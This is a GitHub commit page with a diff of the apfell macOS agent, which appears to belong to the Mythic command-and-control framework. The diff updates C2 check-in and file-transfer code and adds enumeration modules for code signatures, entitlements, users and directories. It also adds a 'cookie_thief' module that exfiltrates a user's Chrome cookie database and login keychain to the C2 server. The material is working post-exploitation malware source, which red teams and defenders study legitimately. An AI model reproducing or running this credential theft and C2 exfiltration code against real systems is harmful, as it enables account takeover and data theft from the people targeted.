Skip to content

Commit b3ff03a

Browse files
Merge pull request #5 from MythicAgents/v2.3-testing
V2.3 testing
2 parents 85ebcea + f74486e commit b3ff03a

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

79 files changed

+5974
-586
lines changed

Payload_Type/apfell/Dockerfile

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
FROM itsafeaturemythic/python38_payload:0.0.7
1+
FROM itsafeaturemythic/python38_payload:0.1.1

Payload_Type/apfell/agent_code/c2_profiles/dynamichttp.js

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -367,6 +367,8 @@ class customC2 extends baseC2{
367367
}
368368
checkin(ip, pid, user, host, os, architecture, domain){
369369
let info = {'ip':ip,'pid':pid,'user':user,'host':host,'uuid':apfell.uuid, "os": os, "architecture": architecture, "domain": domain, "action": "checkin"};
370+
info["process_name"] = apfell.procInfo.processName.js;
371+
info["sleep_info"] = "Sleep interval set to " + C2.interval + " and sleep jitter updated to " + C2.jitter;
370372
if(user === 'root'){info['integrity_level'] = 3;}
371373
//let req = null;
372374
let jsondata = null;
@@ -475,6 +477,10 @@ class customC2 extends baseC2{
475477
if (registerFile['responses'][0]['status'] === "success"){
476478
handle.seekToFileOffset(0);
477479
let currentChunk = 1;
480+
this.postResponse(task, {"user_output": JSON.stringify({
481+
"agent_file_id": registerFile["file_id"],
482+
"total_chunks": numOfChunks
483+
})});
478484
let data = handle.readDataOfLength(chunkSize);
479485
while(parseInt(data.length) > 0 && offset < fileSize){
480486
// send a chunk

Payload_Type/apfell/agent_code/c2_profiles/http.js

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -224,6 +224,8 @@ class customC2 extends baseC2{
224224
//get info about system to check in initially
225225
//needs IP, PID, user, host, payload_type
226226
let info = {'ip':ip,'pid':pid,'user':user,'host':host,'uuid':apfell.uuid, "os":os, "architecture": arch, "domain": domain, "action": "checkin"};
227+
info["process_name"] = apfell.procInfo.processName.js;
228+
info["sleep_info"] = "Sleep interval set to " + C2.interval + " and sleep jitter updated to " + C2.jitter;
227229
if(user === "root"){
228230
info['integrity_level'] = 3;
229231
}
@@ -438,6 +440,10 @@ class customC2 extends baseC2{
438440
let registerFile = this.postResponse(task, registerData);
439441
registerFile = registerFile['responses'][0];
440442
if (registerFile['status'] === "success"){
443+
this.postResponse(task, {"user_output": JSON.stringify({
444+
"agent_file_id": registerFile["file_id"],
445+
"total_chunks": numOfChunks
446+
})});
441447
handle.seekToFileOffset(0);
442448
let currentChunk = 1;
443449
let data = handle.readDataOfLength(chunkSize);
Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
exports.code_signatures = function(task, command, params){
2+
ObjC.import("Security");
3+
let staticCode = Ref();
4+
try{
5+
let binpath = JSON.parse(params)["path"];
6+
if(binpath === undefined || binpath === null){
7+
return {"user_output": "Missing Path to examine", "completed": true, "status": "error"};
8+
}
9+
let path = $.CFURLCreateFromFileSystemRepresentation($.kCFAllocatorDefault, binpath, binpath.length, true);
10+
$.SecStaticCodeCreateWithPath(path, 0, staticCode);
11+
let codeInfo = Ref();
12+
$.SecCodeCopySigningInformation(staticCode[0], 0x7F, codeInfo);
13+
ObjC.bindFunction('CFMakeCollectable', ['id', ['void *'] ]);
14+
let codeInfo_c = $.CFMakeCollectable(codeInfo[0]);
15+
let code_json = ObjC.deepUnwrap(codeInfo_c);
16+
if(code_json === undefined){
17+
return {"user_output": "Failed to find specified path", "completed": true, "status": "error"};
18+
}
19+
if(code_json.hasOwnProperty("flags")){
20+
let flag_details = [];
21+
if( code_json["flags"] & 0x000001 ){flag_details.push({"0x000001": "kSecCodeSignatureHost - May host guest code"})}
22+
if( code_json["flags"] & 0x000002 ){flag_details.push({"0x000002": "kSecCodeSignatureAdhoc - The code has been sealed without a signing identity"})}
23+
if( code_json["flags"] & 0x000100 ){flag_details.push({"0x000100": "kSecCodeSignatureForceHard - The code prefers to be denied access to a resource if gaining such access would cause its invalidation"})}
24+
if( code_json["flags"] & 0x000200 ){flag_details.push({"0x000200": "kSecCodeSignatureForceKill - The code wishes to be terminated if it is ever invalidated"})}
25+
if( code_json["flags"] & 0x000400 ){flag_details.push({"0x000400": "kSecCodeSignatureForceExpiration - Code signatures made by expired certificates be rejected"})}
26+
if( code_json["flags"] & 0x000800 ){flag_details.push({"0x000800": "kSecCodeSignatureRestrict - Restrict dyld loading"})}
27+
if( code_json["flags"] & 0x001000 ){flag_details.push({"0x001000": "kSecCodeSignatureEnforcement - Enforce code signing"})}
28+
if( code_json["flags"] & 0x002000 ){flag_details.push({"0x002000": "kSecCodeSignatureLibraryValidation - Require library validation"})}
29+
if( code_json["flags"] & 0x010000 ){flag_details.push({"0x010000": "kSecCodeSignatureRuntime - Apply runtime hardening policies as required by the hardened runtime version"})}
30+
code_json["flag_details"] = flag_details;
31+
code_json["flags"] = "0x" + code_json["flags"].toString(16);
32+
}
33+
return {"user_output":JSON.stringify(code_json, null, 2), "completed": true};
34+
}catch(error){
35+
return {"user_output":error.toString(), "completed": true, "status": "error"};
36+
}
37+
};
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
exports.cookie_thief = function(task, command, params){
2+
let config = JSON.parse(params);
3+
let keyDL_status = {};
4+
let cookieDL_status = {};
5+
let password = "";
6+
var username = "";
7+
let browser = "chrome";
8+
let homedir = "/Users/";
9+
let keychainpath = "/Library/Keychains/login.keychain-db";
10+
let chromeCookieDir = "/Library/Application Support/Google/Chrome/Default/Cookies";
11+
let cookiedir = "/Library/Application Support/Google/Chrome/Default/Cookies";
12+
13+
if(config.hasOwnProperty("password") && typeof config['password'] == 'string'){
14+
password = config['password'];
15+
}
16+
else {
17+
return {'user_output': "Must supply the user's login password", "completed": true, "status": "error"};
18+
}
19+
20+
if(config.hasOwnProperty("username") && typeof config['username'] == 'string' && config['username']) {
21+
username = config['username'];
22+
}
23+
else {
24+
return {'user_output': "Must supply the username", "completed": true, "status": "error"};
25+
}
26+
let cookiepath = homedir + username;
27+
28+
if(config.hasOwnProperty("browser") && typeof config['browser'] == 'string'){
29+
browser = config['browser'];
30+
}
31+
32+
if(browser === "chrome") {
33+
cookiedir = chromeCookieDir;
34+
}
35+
let cookieDLPath = cookiepath + cookiedir;
36+
37+
try{
38+
cookieDL_status = C2.download(task, cookieDLPath);
39+
}
40+
catch(error) {
41+
return {'user_output': error.toString(), "completed": true, "status": "error"};
42+
}
43+
44+
let keypath = homedir + username + keychainpath;
45+
try{
46+
keyDL_status = C2.download(task, keypath);
47+
if(keyDL_status.hasOwnProperty("file_id")){
48+
keyDL_status['user_output'] = "\nFinished Downloading KeychainDB and Cookies\n";
49+
}
50+
}
51+
catch(error) {
52+
return {'user_output': error.toString(), "completed": true, "status": "error"};
53+
}
54+
return keyDL_status;
55+
};
Lines changed: 1 addition & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,8 @@
11
exports.download = function(task, command, params){
22
try{
33
if(params === "" || params === undefined){return {'user_output': "Must supply a path to a file to download", "completed": true, "status": "error"}; }
4-
let status = C2.download(task, params);
5-
if(status.hasOwnProperty("file_id")){
6-
status['user_output'] = "Finished Downloading";
7-
}
8-
return status;
4+
return C2.download(task, params);
95
}catch(error){
106
return {'user_output': error.toString(), "completed": true, "status": "error"};
117
}
12-
138
};
Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
exports.list_entitlements = function(task, command, params){
2+
ObjC.import('AppKit');
3+
let le = function(pid){
4+
ObjC.bindFunction('malloc', ['void**', ['int']]);
5+
ObjC.bindFunction('csops', ['int', ['int', 'int', 'void *', 'int'] ]);
6+
let output = $.malloc(512000);
7+
$.csops(pid, 7, output, 512000);
8+
let data = $.NSData.alloc.initWithBytesLength(output, 512000);
9+
for(let i = 8; i < data.length; i ++){
10+
if(data.bytes[i] === 0){
11+
let range = $.NSMakeRange(8, i);
12+
data = data.subdataWithRange(range);
13+
let plist = $.NSPropertyListSerialization.propertyListWithDataOptionsFormatError(data, $.NSPropertyListImmutable, $.nil, $());
14+
return ObjC.deepUnwrap(plist);
15+
}
16+
}
17+
return {};
18+
}
19+
try{
20+
let arguments = JSON.parse(params);
21+
let output = [];
22+
if(arguments["pid"] === -1){
23+
let procs = $.NSWorkspace.sharedWorkspace.runningApplications.js;
24+
for(let i = 0; i < procs.length; i++){
25+
let entitlements = {};
26+
let ent = le(procs[i].processIdentifier);
27+
if(ent === null || ent === undefined){
28+
ent = {};
29+
}
30+
entitlements["pid"] = procs[i].processIdentifier;
31+
entitlements['bundle'] = procs[i].bundleIdentifier.js;
32+
entitlements['bundleURL'] = procs[i].bundleURL.path.js;
33+
entitlements['bin_path'] = procs[i].executableURL.path.js;
34+
entitlements['name'] = procs[i].localizedName.js;
35+
entitlements["entitlements"] = ent;
36+
output.push(entitlements);
37+
}
38+
}else {
39+
let entitlements = {};
40+
let ent = le(arguments["pid"]);
41+
entitlements["pid"] = arguments["pid"];
42+
entitlements['bundle'] = "";
43+
entitlements['bundleURL'] = "";
44+
entitlements['bin_path'] = "";
45+
entitlements['name'] = "";
46+
entitlements["entitlements"] = ent;
47+
output.push(entitlements);
48+
}
49+
return {"user_output":JSON.stringify(output, null, 2), "completed": true};
50+
}catch(error){
51+
return {"user_output":error.toString(), "completed": true, "status": "error"};
52+
}
53+
};

Payload_Type/apfell/agent_code/list_users.js

Lines changed: 21 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
exports.list_users = function(task, command, params){
2-
var all_users = [];
3-
var gid = -1;
2+
let all_users = [];
3+
let gid = -1;
44
if (params.length > 0) {
55
var data = JSON.parse(params);
66
if (data.hasOwnProperty('gid') && data['gid'] !== "" && data['gid'] > 0) {
@@ -10,18 +10,18 @@ exports.list_users = function(task, command, params){
1010
ObjC.import('Collaboration');
1111
ObjC.import('CoreServices');
1212
if (gid < 0) {
13-
var defaultAuthority = $.CBIdentityAuthority.defaultIdentityAuthority;
14-
var grouptolook = 1000 //Most systems don't have groups past 700s
15-
for (var x = 0; x < grouptolook; x++) {
16-
var group = $.CBGroupIdentity.groupIdentityWithPosixGIDAuthority(x, defaultAuthority);
17-
validGroupcheck = group.toString()
18-
if (validGroupcheck == "[id CBGroupIdentity]") {
19-
var results = group.memberIdentities.js;
13+
let defaultAuthority = $.CBIdentityAuthority.defaultIdentityAuthority;
14+
let grouptolook = 1000 //Most systems don't have groups past 700s
15+
for (let x = 0; x < grouptolook; x++) {
16+
let group = $.CBGroupIdentity.groupIdentityWithPosixGIDAuthority(x, defaultAuthority);
17+
let validGroupcheck = group.toString()
18+
if (validGroupcheck === "[id CBGroupIdentity]") {
19+
let results = group.memberIdentities.js;
2020

21-
var numResults = results.length;
22-
for (var i = 0; i < numResults; i++) {
23-
var idObj = results[i];
24-
var info = {
21+
let numResults = results.length;
22+
for (let i = 0; i < numResults; i++) {
23+
let idObj = results[i];
24+
let info = {
2525
"POSIXName": idObj.posixName.js,
2626
"POSIXID": idObj.posixUID,
2727
"POSIXGID": group.posixGID,
@@ -43,13 +43,14 @@ exports.list_users = function(task, command, params){
4343
"completed": true
4444
}
4545
} else {
46-
var defaultAuthority = $.CBIdentityAuthority.defaultIdentityAuthority;
47-
var group = $.CBGroupIdentity.groupIdentityWithPosixGIDAuthority(gid, defaultAuthority);
48-
var results = group.memberIdentities.js;
49-
var numResults = results.length;
50-
for (var i = 0; i < numResults; i++) {
51-
var idObj = results[i];
52-
var info = {
46+
let defaultAuthority = $.CBIdentityAuthority.defaultIdentityAuthority;
47+
let group = $.CBGroupIdentity.groupIdentityWithPosixGIDAuthority(gid, defaultAuthority);
48+
let results = group.memberIdentities.js;
49+
let numResults = results.length;
50+
for (let i = 0; i < numResults; i++) {
51+
let idObj = results[i];
52+
let info = {
53+
5354
"POSIXName": idObj.posixName.js,
5455
"POSIXID": idObj.posixUID,
5556
"POSIXGID": group.posixGID,

Payload_Type/apfell/agent_code/load.js

Lines changed: 3 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -12,15 +12,13 @@ exports.load = function(task, command, params){
1212
commands_dict = Object.assign({}, commands_dict, new_dict);
1313
// update the config with our new information
1414
C2.commands = Object.keys(commands_dict);
15-
let cmds = parsed_params['cmds'].split(" ")
1615
let cmd_list = [];
17-
for(let i = 0; i < cmds.length; i++){
18-
cmd_list.push({"action": "add", "cmd": cmds[i]})
16+
for(let i = 0; i < parsed_params['commands'].length; i++){
17+
cmd_list.push({"action": "add", "cmd": parsed_params['commands'][i]})
1918
}
20-
return {"user_output": "Loaded " + parsed_params['cmds'], "commands": cmd_list, "completed": true};
19+
return {"user_output": "Loaded " + parsed_params['commands'], "commands": cmd_list, "completed": true};
2120
}
2221
catch(error){
23-
//console.log("errored in load function");
2422
return {"user_output":error.toString(), "completed": true, "status": "error"};
2523
}
2624
};

Payload_Type/apfell/agent_code/ls.js

Lines changed: 23 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,7 @@ exports.ls = function(task, command, params){
1616
};
1717
}
1818
}
19-
if (path[0] === '"') {
19+
if (path[0] === '"' || path[0] === "'") {
2020
path = path.substring(1, path.length - 1);
2121
}
2222
if(path[0] === '~'){
@@ -25,6 +25,7 @@ exports.ls = function(task, command, params){
2525
output['host'] = ObjC.unwrap(apfell.procInfo.hostName);
2626
output['update_deleted'] = true;
2727
let attributes = ObjC.deepUnwrap(fileManager.attributesOfItemAtPathError($(path), error));
28+
let time_attributes = ObjC.unwrap(fileManager.attributesOfItemAtPathError($(path), error));
2829
if (attributes !== undefined) {
2930
output['is_file'] = true;
3031
output['files'] = [];
@@ -41,6 +42,7 @@ exports.ls = function(task, command, params){
4142
}
4243
for (let i = 0; i < sub_files.length; i++) {
4344
let attr = ObjC.deepUnwrap(fileManager.attributesOfItemAtPathError($(path + sub_files[i]), error));
45+
let time_attr = ObjC.unwrap(fileManager.attributesOfItemAtPathError($(path + sub_files[i]), error));
4446
let file_add = {};
4547
file_add['name'] = sub_files[i];
4648
file_add['is_file'] = attr['NSFileType'] !== "NSFileTypeDirectory";
@@ -61,9 +63,9 @@ exports.ls = function(task, command, params){
6163
file_add['permissions']['posix'] = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
6264
file_add['permissions']['owner'] = attr['NSFileOwnerAccountName'] + "(" + attr['NSFileOwnerAccountID'] + ")";
6365
file_add['permissions']['group'] = attr['NSFileGroupOwnerAccountName'] + "(" + attr['NSFileGroupOwnerAccountID'] + ")";
64-
file_add['permissions']['hidden'] = attr['NSFileExtenionAttribute'] === true;
65-
file_add['permissions']['create_time'] = attributes['NSFileCreationDate'];
66-
file_add['modify_time'] = attributes['NSFileModificationDate'];
66+
file_add['permissions']['hidden'] = attr['NSFileExtensionAttribute'] === true;
67+
file_add['permissions']['create_time'] = Math.trunc(time_attr['NSFileCreationDate'].timeIntervalSince1970 * 1000);
68+
file_add['modify_time'] = Math.trunc(time_attr['NSFileModificationDate'].timeIntervalSince1970 * 1000);
6769
file_add['access_time'] = "";
6870
files_data.push(file_add);
6971
}
@@ -74,17 +76,29 @@ exports.ls = function(task, command, params){
7476
}
7577
}
7678
let nsposix = attributes['NSFilePosixPermissions'];
77-
let components = ObjC.deepUnwrap( fileManager.componentsToDisplayForPath(path) ).slice(1, -1);
79+
let components = ObjC.deepUnwrap( fileManager.componentsToDisplayForPath(path) ).slice(1);
7880
if( components.length > 0 && components[0] === "Macintosh HD"){
7981
components.pop();
8082
}
81-
output['parent_path'] = "/" + components.join("/");
82-
output['name'] = fileManager.displayNameAtPath(path).js;
83+
// say components = "etc, krb5.keytab"
84+
// check all components to see if they're symlinks
85+
let parent_path = "/";
86+
for(let p = 0; p < components.length; p++){
87+
let resolvedSymLink = fileManager.destinationOfSymbolicLinkAtPathError( $( parent_path + components[p] ), $.nil ).js;
88+
if(resolvedSymLink){
89+
parent_path = parent_path + resolvedSymLink + "/";
90+
}else{
91+
parent_path = parent_path + components[p] + "/";
92+
}
93+
}
94+
output['name'] = fileManager.displayNameAtPath(parent_path).js;
95+
output['parent_path'] = parent_path.slice(0, -(output["name"].length + 1));
96+
8397
if(output['name'] === "Macintosh HD"){output['name'] = "/";}
8498
if(output['name'] === output['parent_path']){output['parent_path'] = "";}
8599
output['size'] = attributes['NSFileSize'];
86100
output['access_time'] = "";
87-
output['modify_time'] = attributes['NSFileModificationDate'];
101+
output['modify_time'] = Math.trunc(time_attributes['NSFileModificationDate'].timeIntervalSince1970 * 1000);
88102
if(attributes['NSFileExtendedAttributes'] !== undefined){
89103
let extended = {};
90104
let perms = attributes['NSFileExtendedAttributes'].js;
@@ -95,7 +109,7 @@ exports.ls = function(task, command, params){
95109
}else{
96110
output['permissions'] = {};
97111
}
98-
output['permissions']['create_time'] = attributes['NSFileCreationDate'];
112+
output['permissions']['create_time'] = Math.trunc(time_attributes['NSFileCreationDate'].timeIntervalSince1970 * 1000);
99113
output['permissions']['posix'] =((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
100114
output['permissions']['owner'] = attributes['NSFileOwnerAccountName'] + "(" + attributes['NSFileOwnerAccountID'] + ")";
101115
output['permissions']['group'] = attributes['NSFileGroupOwnerAccountName'] + "(" + attributes['NSFileGroupOwnerAccountID'] + ")";

0 commit comments

Comments
 (0)